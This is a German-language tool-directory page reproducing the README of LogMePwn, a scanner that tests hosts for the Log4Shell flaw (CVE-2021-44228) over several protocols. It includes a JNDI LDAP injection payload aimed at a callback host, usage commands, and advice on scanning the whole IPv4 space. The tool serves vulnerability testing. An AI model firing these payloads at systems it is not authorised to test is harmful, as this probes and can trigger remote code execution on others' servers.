Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
LogMePwn — Ein vollautomatisiertes, zuverlässiges, blitzschnelles Scan- und Validierungs-Toolkit für die Log4J RCE CVE-2021-44228-Schwachstelle. | Kitploit
Tools/GitHubGitHub/0xinfection/logmepwn
SchwachstellenscannerWeb-SchwachstellenscannerNetzwerkkartierungPort-ScanningExploitationFuzzing
GitHub0xinfection/logmepwn

LogMePwn

Ein vollautomatisiertes, zuverlässiges, blitzschnelles Scan- und Validierungs-Toolkit für die Log4J RCE CVE-2021-44228-Schwachstelle.

Repository anzeigen
39553vor 1 MonatVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

LogMePwn

LogMePwn ist ein vollautomatisiertes, Multi-Protokoll-, zuverlässiges, superschnelles Scan- und Validierungstoolkit für die Log4J-RCE-Schwachstelle CVE-2021-44228.

image

Tool-Highlights

  • Inhärente Unterstützung für die automatische Erzeugung von Canary-Tokens mittels E-Mails oder Webhooks.
  • Multi-Protokoll-Unterstützung: HTTP, IMAP, SSH, FTP, usw.
  • Unterstützung für mehrere HTTP-Methoden (GET, POST, PUT, DELETE, PATCH, etc.)
  • Angepasstes Fuzzing von HTTP-Anforderungskörpern (JSON, XML, etc.).
  • Benutzerdefinierte Callback-Server und Payload-Unterstützung.
  • CIDR-Bereichsscan.
  • Alles ist multithreaded und superschnell (in Go geschrieben).
  • …und viele weitere. Siehe die Dokumentation und das Tool unten!

Wie funktioniert es?

LogMePwn nutzt Canary-Tokens, die wiederum E-Mail- und Webhook-Benachrichtigungen an Ihren bevorzugten Kommunikationskanal senden. Falls Sie einen benutzerdefinierten Callback-Server haben, können Sie diesen ebenfalls verwenden!

Installation & Verwendung

Um das Tool zu nutzen, holen Sie sich ein Binary aus dem Releases-Bereich passend zu Ihrer Distribution und verwenden Sie es. Wenn Sie das Tool selbst bauen möchten, benötigen Sie Go >= 1.13. Klonen Sie einfach das Repo und führen Sie go build aus.

Hier die grundlegende Verwendung des Tools:

root@kitploit:~
$ ./lmp --help

    +---------------------+
    |   L o g M e P w n   |
    +---------------------+  v2.0

                ~ 0xInfection
Usage:
  -custom-server string
        Geben Sie einen benutzerdefinierten Callback-Server an.
  -delay int
        Verzögerung zwischen aufeinanderfolgenden Anfragen an denselben Host, um diesen nicht zu überlasten.
  -email string
        E-Mail-Adresse für den Empfang von Callback-Benachrichtigungen.
  -fbody string
        Formatstring für den HTTP-Anforderungskörper angeben.
  -file string
        Datei mit der Liste der zu scannenden Hosts.
  -ftp-ports string
        Komma-getrennte Liste der HTTP-Ports pro Ziel. (Standard: "21")
  -headers string
        Komma-getrennte Liste der HTTP-Header; falls leer, wird eine Standard-Header-Liste verwendet.
  -headers-file string
        Datei mit benutzerdefinierten Headern für HTTP-Anfragen angeben.
  -http-methods string
        Komma-getrennte Liste der HTTP-Methoden für den Scan. (Standard: "GET")
  -http-ports string
        Komma-getrennte Liste der HTTP-Ports pro Ziel. (Standard: "80,443,8080")
  -imap-ports string
        Komma-getrennte Liste der IMAP-Ports pro Ziel. (Standard: "143,993")
  -json
        Körper vom Typ JSON in HTTP-Anfragen verwenden, die einen Körper enthalten können.
  -payload string
        Einzelnen Payload oder Datei mit Payload-Liste angeben.
  -protocol string
        Protokoll für die Schwachstellenüberprüfung angeben. (Standard: "all")
  -ssh-ports string
        Komma-getrennte Liste der SSH-Ports pro Ziel. (Standard: "22")
  -threads int
        Anzahl der Threads für den Scan. (Standard: 10)
  -token string
        Canary-Token-Payload für Anfragen; falls leer, wird ein neues Token erzeugt.
  -user-agent string
        Benutzerdefinierter User-Agent-String; falls leer, werden Payloads verwendet.
  -webhook string
        Webhook für den Empfang von Callback-Benachrichtigungen.
  -xml
        Körper vom Typ XML in HTTP-Anfragen verwenden, die einen Körper enthalten können.

Beispiele:
  ./lmp -email [email protected] 1.2.3.4 1.1.1.1:8080
  ./lmp -token xxxxxxxxxxxxxxxxxx -methods POST,PUT -fbody '<padding_here>%s<padding_here>' -headers X-Custom-Header
  ./lmp -webhook https://webhook.testing.site -file internet-ranges.lst -ports 8000,8888
  ./lmp -email [email protected] -methods GET,POST,PUT,PATCH,DELETE 1.2.3.4:8880
  ./lmp -protocol imap -custom-server alerts.testing.local 1.2.3.4:143

Protokolle angeben

NEU: Diese Funktion wurde in v2.0 eingeführt.

Mit der neuesten Version wurde die Unterstützung für mehrere Protokolle hinzugefügt. Bisher haben wir 4 verschiedene Protokolle:

  • HTTP
  • IMAP
  • SSH
  • FTP

Wenn Sie kein Protokoll über das Argument -protocol angeben, führt das Tool alle Plugins für jedes unterstützte Protokoll gegenüber den standardmäßigen Ports aus.

Siehe, wie man Ports für jedes Protokoll steuert.

Beispiel:

root@kitploit:~
./lmp -protocol ftp -custom-server alerts.testing.local 1.2.3.4:21
./lmp -protocol ssh -custom-server alerts.testing.local 1.2.3.4:22
./lmp -token xxxxxxxxxxxxxxxx 1.2.3.4 # scannt alle Protokolle auf Standardports

Zielangabe

Die Ziele können auf zwei Arten angegeben werden: über die Kommandozeile als Argumente oder über eine Datei.

NEU: Sie können jetzt auch CIDR-Bereiche zum Scannen übergeben! Diese Funktion wurde in v1.1 eingeführt.

Beispiel:

root@kitploit:~
./lmp <andere Argumente hier> 1.1.1.1:8080 1.2.3.4:80 1.1.2.2:443
./lmp <andere Argumente hier> -file internet-ranges.lst
./lmp <andere Argumente hier> 192.168.0.0/26 1.2.3.4/30

Jedes Protokoll hat eine Standardliste von Ports, die mit folgenden Flags angepasst werden kann:

  • -http-ports für HTTP.
  • -imap-ports für IMAP.
  • -ssh-ports für SSH.
  • -ftp-ports für FTP.

Gibt der Benutzer ein Paar host:port an, wird die Standard-Portliste verworfen und alle Prüfungen erfolgen für diesen spezifischen Port. Wenn -protocol nicht angegeben ist, werden alle Protokoll-Plugins gegen denselben Port getestet.

Payloads angeben

Diese Funktion wurde in v1.1 eingeführt.

Sie können einen Payload direkt über das Argument -payload angeben. Wenn Sie jedoch den DNS-Namen des getesteten Hosts im Payload haben möchten, können Sie die Formatierungsdirektive $DNSNAME$ verwenden, die durch das Ziel ersetzt wird, gegen das der Payload getestet wird.

Beispiel: Wenn Sie einen Befehl wie diesen eingeben:

root@kitploit:~
./lmp -payload '${jndi:ldap://$DNSNAME$.xxx.burpcollaborator.net/a}' vulnerable.site.com

Dann würde der Payload beim Senden einer HTTP-Anfrage an die URL so aussehen:

root@kitploit:~
${jndi:ldap://vulnerable-site-com.xxx.burpcollaborator.net/a}

Diese Funktion hilft Ihnen zu bewerten, welche Hosts beim Black-Box-Fuzzing anfällig sind.

Sie können auch eine Datei mit mehreren Variationen des Payloads über dasselbe Argument angeben. (Siehe payloads-sample.txt). Beispiel:

root@kitploit:~
./lmp -payload payloads-sample.txt vulnerable.site.com

HINWEIS: Diese Funktion funktioniert nicht mit Canary-Tokens. Canarytokens unterstützt keine benutzerdefinierten DNS-Formate.

Benachrichtigungskanäle angeben

HINWEIS: Wenn Sie einen benutzerdefinierten Payload mit -payload angeben, ist die Angabe eines Benachrichtigungskanals NICHT notwendig. Der Payload selbst sollte Ihren Callback-Server enthalten.

Die Benachrichtigungskanäle können wie folgt sein:

  • E-Mail (-email)
  • Webhook (-webhook)
  • Benutzerdefinierter DNS-Callback-Server (-custom-server)

Das Tool verwendet Canary-Tokens; Sie können eines hier erstellen oder das Tool ein Token für Sie erstellen lassen. Wenn das Tool ein Token erstellt, wird es in eine Datei namens canarytoken-logmepwn.json geschrieben, die das Token selbst und die Authentifizierung enthält (beide benötigen Sie, um Auslöser über die Weboberfläche anzuzeigen).

Wenn Sie bereits ein Token haben, können Sie das Argument -token verwenden, um das Token direkt zu nutzen, ohne ein neues zu erstellen.

HINWEIS: Wenn Sie entweder eine E-Mail oder einen Webhook angeben, erstellt das Tool ein benutzerdefiniertes Canary-Token. Wenn Sie einen benutzerdefinierten Callback-Server verwenden, kommen keine Tokens zum Einsatz.

Anfragen senden

Das Tool bietet große Flexibilität beim Senden von Anfragen. Standardmäßig werden GET-Anfragen verwendet. Es wird eine Standard-Header-Liste verwendet, wobei jeder Header einen Payload im Wert enthält. Sie können einen benutzerdefinierten Satz von Headern über das Argument -headers angeben. Mit dem Schalter -headers-file können Sie eine Datei mit einer Liste von Headern übergeben. Beispiele:

root@kitploit:~
./lmp <andere Argumente> -headers 'X-Api-Version' 1.2.3.4:8080
./lmp <andere Argumente> -headers-file headers.txt 1.2.3.4:8080

Sie können die Liste der HTTP-Methoden für den Scan über den Schalter -methods angeben. Bei Anfragen mit Körper (z.B. POST, PUT) können Sie den Inhalt der Körper anpassen.

Standardmäßig sendet das Tool einen Payload direkt über den Körper. Das Tool bietet Anpassungsmöglichkeiten für den Körper auf folgende Weise:

  • Geben Sie -json an, um den Anforderungskörper als JSON-Typ zu haben.
  • -xml für das XML-Format.
  • -fbody, um einen benutzerdefinierten Formatstring anzugeben, in den der Payload eingefügt wird. Dies ermöglicht die Erstellung komplexer Anfragen beim Testen. Wenn Sie z.B. den Inhalt als HTML senden möchten, könnte das so aussehen:
    root@kitploit:~
    ./lmp -fbody '<html>%s</html>' -methods 'POST,PUT' 1.2.3.4
    

Sie können einen benutzerdefinierten User-Agent-Header-Wert über den Schalter -user-agent angeben.

Gleichzeitiges Scannen

Das Tool ist für das Scannen einer großen Anzahl von Zielen optimiert. Mit ausreichender Netzwerkbandbreite und Hardware können Sie den gesamten IPv4-Raum innerhalb eines Tages scannen. Die Standardanzahl gleichzeitiger Threads beim Scannen beträgt nur 10 (optimiert für Zuverlässigkeit auf lokaler Hardware). Der Wert kann bis in die Tausende gehen (die Benchmark-Aufgabe überlasse ich Ihnen). :)

Verwenden Sie den Schalter -threads, um die Anzahl der Threads für das Tool anzugeben.

Verzögerung angeben

Da viele HTTP-Anfragen beteiligt sind, kann es für den entfernten Host aufwändig sein, die Anfragen zu verarbeiten. Der Parameter -delay hilft Ihnen in solchen Fällen. Sie können einen Verzögerungswert in Sekunden angeben – dieser wird zwischen zwei aufeinanderfolgenden Anfragen an denselben Port auf einem Server verwendet.

Demo

Für die Demo des Scanners verwende ich eine anfällige Einrichtung von @christophetd mit Docker:

root@kitploit:~
docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

image

Dann führe ich das Tool gegen die Einrichtung aus:

root@kitploit:~
./lmp -email [email protected] -protocol http 127.0.0.1:8080

image

Was sofort einige DNS-Lookups auslöste, die sowohl auf der Token-Verlaufsseite als auch in meiner E-Mail sichtbar waren:

Änderungsprotokoll

  • Neuerungen in Version v2.0:

    • Einführung der Multi-Protokoll-Unterstützung. Bisher implementierte Protokolle:
      • SSH
      • IMAP
      • HTTP
      • FTP
  • Neuerungen in Version v1.1:

    • Möglichkeit, benutzerdefinierte Payloads über Datei oder Kommandozeile anzugeben.
    • Möglichkeit, benutzerdefinierte Header über Datei anzugeben.
    • CIDR-Bereichsscan.

Ideen und zukünftige Roadmap

Melden Sie sich gerne per Twitter oder erstellen Sie ein Issue oder PR.

Lizenz und Version

Das Tool ist unter der GNU GPLv3 lizenziert. LogMePwn ist derzeit bei v2.0.

Danksagungen

Ein großes Dankeschön an das Team von Thinkst Canary für ihr großartiges Canary-Tokens-Projekt.

Mit ♡ erstellt von Pinaki (@0xInfection).

Tool herunterladen